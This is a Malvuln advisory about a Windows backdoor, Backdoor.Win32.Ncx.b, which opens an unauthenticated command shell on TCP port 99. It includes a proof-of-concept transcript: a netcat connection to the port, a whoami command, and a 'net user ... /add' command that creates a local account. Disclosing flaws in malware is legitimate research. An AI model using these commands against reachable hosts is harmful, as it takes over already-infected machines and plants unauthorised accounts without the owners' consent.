Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can execute OS commands further compromising the host.
Type: PE32
MD5: 991c1f02c809cee860cb712896a45338
Vuln ID: MVID-2021-0421
Disclosure: 12/11/2021

Exploit/PoC:
nc64.exe x.x.x.x 99
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user HYP3RLINX HELL /add
net user HYP3RLINX HELL /add
The command completed successfully


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